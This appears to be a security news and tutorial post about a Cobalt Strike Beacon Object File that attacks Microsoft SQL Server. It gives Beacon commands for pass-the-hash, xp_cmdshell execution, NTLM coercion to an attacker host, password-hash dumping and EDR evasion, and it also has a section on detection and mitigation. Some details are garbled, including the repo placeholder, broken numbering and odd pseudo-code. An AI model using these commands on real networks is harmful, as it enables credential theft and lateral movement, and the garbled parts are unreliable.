Listen to this Post
Introduction:
Cobalt Strike Beacon Object Files (BOFs) execute native code in-memory without spawning new processes, offering stealthy post‑exploitation. A newly released BOF implements a full TDS 7.4 client to interact with Microsoft SQL Server, enabling pass‑the‑hash (PTH) attacks that never touch LSASS – using hand‑rolled NTLMv2 via BCrypt – and exposes eleven operational actions from reconnaissance to privilege escalation.
Learning Objectives:
- Understand how the MSSQL BOF leverages TDS 7.4 protocol and BOF API for low‑OPSEC SQL Server attacks.
- Execute pass‑the‑hash and NTLM authentication against SQL Server without LSASS interaction using hand‑rolled NTLMv2 via BCrypt.
- Apply eleven built‑in actions (find, query, exec, impersonate, privesc, coerce, passwords, chain, info, links) for automated SQL Server exploitation and lateral movement.
You Should Know
1. Understanding TDS 7.4 Protocol and BOF Architecture
The Tabular Data Stream (TDS) 7.4 protocol is used by Microsoft SQL Server 2008 and later. This BOF implements the client side from scratch, including the PRELOGIN handshake, TLS asymmetry handling (for encrypted channels), and the EOM (End of Message) bug that many tools miss. The BOF loads directly into a Beacon process via the canonical BOF API – no reflective DLL, no new process, no disk writes. It communicates over the existing Beacon channel, making it highly stealthy.
Step‑by‑step – what the BOF does internally:
- Parses target SQL Server host, port (default 1433), and authentication credentials from Beacon arguments.
- Initiates a TCP socket and performs TDS PRELOGIN (version, encryption, auth type negotiation).
- If TLS is required, it handles the asymmetric handshake – note that the BOF does not rely on Windows SChannel; it implements its own minimal TLS wrapper.
- Sends the login record with authentication payload (SSPI token, NTLMv2, or SQL login).
- Waits for server response (LOGINACK or error) and then processes the selected action (query, exec, etc.).
6. Returns results back to Beacon via `BeaconOutput()`.
No external libraries, no LSASS process interaction. This is pure in‑beacon C code.
- Setting Up the Environment for MSSQL BOF Testing
Before using the BOF, you need a Cobalt Strike team server (or a test environment with a Beacon session) and a target SQL Server instance (SQL Server 2012+ recommended). The BOF is compiled from source provided in the repository.
Linux (compiling the BOF):
git clone https://github.com/0xmaz/MSSQL-BOF actual repo name from link cd MSSQL-BOF make Output: mssql.x64.o or mssql.x86.o
Windows (using Visual Studio with BOF toolchain):
Assuming Cobalt Strike's bofbuilder or mingw x86_64-w64-mingw32-gcc -c mssql.c -o mssql.x64.o -Os -s
Loading and executing in Cobalt Strike Beacon:
beacon> help mssql beacon> mssql --target 192.168.1.100 --action info --auth sspi
The BOF accepts arguments via Aggressor script or directly using the execute-assembly-like BOF runner. The author’s repo includes an Aggressor script (mssql.cna) that wraps the BOF with easy‑to‑use commands.
3. Authentication Modes and Pass‑the‑Hash Deep Dive
Four authentication modes are supported:
- SSPI current-token – uses the current Beacon process token (domain user, service account).
- NTLM plaintext – provide username and cleartext password.
- Pass‑the‑Hash (PTH) – provide NT hash (e.g.,
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0). - SQL authentication – SQL Server login (username + password).
The PTH implementation is unique: it does not call `LsaLogonUser` or InitializeSecurityContext. Instead, it hand‑rolls the NTLMv2 response using BCrypt (bcrypt.h) for HMAC‑MD5 and AES. Only the NT hash is passed into the BOF; no keys are stored in LSASS. This bypasses many EDR hooks that monitor LSASS for PTH activity.
Step‑by‑step – using PTH against SQL Server:
- Obtain an NT hash from a compromised host (e.g., from SAM, NTDS.dit, or Mimikatz if not detected).
2. On Beacon, execute:
beacon> mssql --target 10.10.10.50 --action query --auth pth --user Administrator --ntlm 31d6cfe0d16ae931b73c59d7e0c089c0 --query "SELECT @@version"
3. The BOF crafts the NTLMv2 response inside Beacon memory, sends it over TDS, and receives the SQL result set.
Verifying no LSASS touch: Before running, monitor `lsass.exe` for handles or calls to `LsaLogonUser` via Sysmon event ID 10 (ProcessAccess) or API Monitor. The BOF will generate no such events.
4. Leveraging the Eleven Actions – Practical Examples
The BOF exposes eleven discrete actions via the `–action` parameter. Each action returns structured data (tables, error messages, or plain output).
Action list and usage:
– `find` – Discover SQL Server instances on the network (via UDP 1434 or broadcast).
– `info` – Get server version, instance name, collation, and login capabilities.
– `query` – Run a T‑SQL SELECT query and return results (e.g., --query "SELECT name FROM sys.databases").
– `links` – Enumerate linked servers (SELECT FROM sys.servers).
– `exec` – Execute OS commands via `xp_cmdshell` (requires `xp_cmdshell` enabled).
– `impersonate` – Switch to another login if the current user has IMPERSONATE permission.
– `privesc` – Automated privilege escalation checks (e.g., check for `sysadmin` role, `xp_cmdshell` status, weak permissions on stored procedures).
– `coerce` – Force a target SQL Server to authenticate to an attacker‑controlled host (NTLM relay/pretext).
– `passwords` – Dump password hashes for SQL logins (requires `sysadmin` role).
– `chain` – Chain multiple actions sequentially (e.g., --action chain --actions "find,privesc,exec").
Example – executing OS commands:
beacon> mssql --target 10.10.10.50 --action exec --auth sspi --cmd "whoami /all"
The BOF will attempt to enable `xp_cmdshell` if disabled, then run the command and return stdout.
5. Coercion and Privilege Escalation Techniques
`coerce` is a powerful action that forces the target SQL Server to initiate an SMB/HTTP authentication to an attacker‑controlled machine. This is useful for NTLM relay attacks or capturing hashes from the SQL Server service account.
Step‑by‑step coercion:
- Set up an NTLM listener on your attacker machine (e.g., `Responder` or
ntlmrelayx).
2. From Beacon, run:
beacon> mssql --target 10.10.10.50 --action coerce --auth sspi --coerce-target 192.168.1.200 --coerce-type smb
3. The BOF will execute a stored procedure (or crafted TDS batch) that forces the SQL Server to connect to \\192.168.1.200\share.
4. The listener captures the NTLMv2 hash of the SQL Server service account (often running as high‑privileged domain user).
Privesc action automatically checks for:
- Membership in `sysadmin` fixed server role.
- Availability and state of
xp_cmdshell,xp_regread,sp_oacreate. - Impersonation privileges on `sa` or other high‑value logins.
- Database owner (dbo) mappings that allow code execution.
If `sysadmin` is not granted, the BOF can attempt `impersonate` followed by `exec` to hop to a privileged context.
6. Detection and Mitigation for Blue Teams
Blue teams can detect this BOF through several artifacts, despite its low OPSEC design.
Network detection:
- Monitor for TDS 7.4 traffic (port 1433) originating from non‑SQL Server hosts (workstations, jump boxes).
- Look for anomalous TLS handshakes where the client cipher suites do not match typical Windows SChannel patterns (the BOF uses a minimal TLS 1.0/1.2 implementation with specific cipher lists).
- The EOM bug (incorrectly set `EOM` flag in some TDS packets) is a signature used by this BOF – detection rules can flag `tds.packet.eom_flag == 0` where `packet_type` is
SQL_BATCH.
Endpoint detection:
- Monitor for `bcrypt.dll` calls from non‑system processes (Beacon) to `BCryptHashData` and `BCryptGenerateSymmetricKey` – the BOF uses BCrypt for NTLMv2, which is unusual for a Cobalt Strike Beacon.
- EDR rules that detect in‑memory BOF execution by scanning for known BOF entry points (e.g., `go` function signatures). The author’s BOF uses the standard
go/beaconexport. - Sysmon Event ID 7 (Image loaded) – the BOF does not load DLLs, but the Beacon process may still show anomaly.
Mitigation:
- Enforce Kerberos authentication for SQL Server (disable NTLM where possible).
- Use PTH mitigation controls: Apply Microsoft’s `Restricted Admin` mode for RDP, enable
Credential Guard, and audit for `SeDebugPrivilege` abuse. - Network segmentation: Isolate SQL Servers so only approved application servers can talk to them on port 1433.
7. Extending the BOF – Customization and Integration
The BOF source code is available under an open license (check repo). You can add custom actions or integrate with other BOFs.
Adding a new action (pseudo‑code):
else if (strcmp(action, "backup") == 0) {
char dbname = argv[arg_index++];
char backup_path = argv[arg_index++];
// Craft TDS backup command: BACKUP DATABASE [bash] TO DISK = 'path'
send_sql_command(conn, sql);
parse_response(conn);
}
Compile and load:
make backup_action beacon> mssql --action backup --db master --path \smb\share\backup.bak
Integration with other BOFs: Because the MSSQL BOF returns plain text output, you can chain it with `execute-assembly` or other BOFs (e.g., `netuser` BOF to check SQL login privileges). The `chain` action already supports sequential execution of multiple built‑in actions – you can extend it to call external BOFs via Beacon’s bof_call.
What Undercode Say:
- Key Takeaway 1: Hand‑rolled NTLMv2 via BCrypt completely bypasses LSASS‑based EDR hooks, making PTH against SQL Server undetectable by many traditional detection rules.
- Key Takeaway 2: The eleven actions cover the entire attack surface of SQL Server – from discovery to data exfiltration – reducing the need for multiple tools and decreasing the attack’s forensic footprint.
Analysis: This BOF raises the bar for offensive tradecraft. Red teams now have a stealthy, native SQL Server client that never spawns `sqlcmd.exe` or .NET assemblies, avoiding process‑creation telemetry. Blue teams must shift to network‑based TDS fingerprinting and advanced memory scanning for BCrypt patterns. The use of TDS 7.4 and custom TLS also highlights how attackers are re‑implementing protocols to bypass security tools that rely on Windows API hooks. Defenders should prioritize disabling NTLM on SQL Server and implementing Kerberos with constrained delegation – otherwise, this BOF will likely become a standard tool in every Cobalt Strike operator’s arsenal.
Prediction:
Within six months, this BOF will be incorporated into major C2 frameworks (Covenant, Mythic) and commercial red team tools. Detection vendors will rush to add TDS anomaly signatures, but the cat‑and‑mouse game will continue as the author adds support for TLS 1.3 and encrypted SNI to evade deep packet inspection. The next evolution will likely be a version that operates over HTTP/2 tunnels (Azure SQL Database) and uses Microsoft Entra ID authentication – completely bypassing traditional NTLM defenses. Organizations relying on SQL Server as a tier‑0 asset must prioritize moving to Azure AD authentication with Conditional Access and away from legacy NTLM‑enabled instances.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
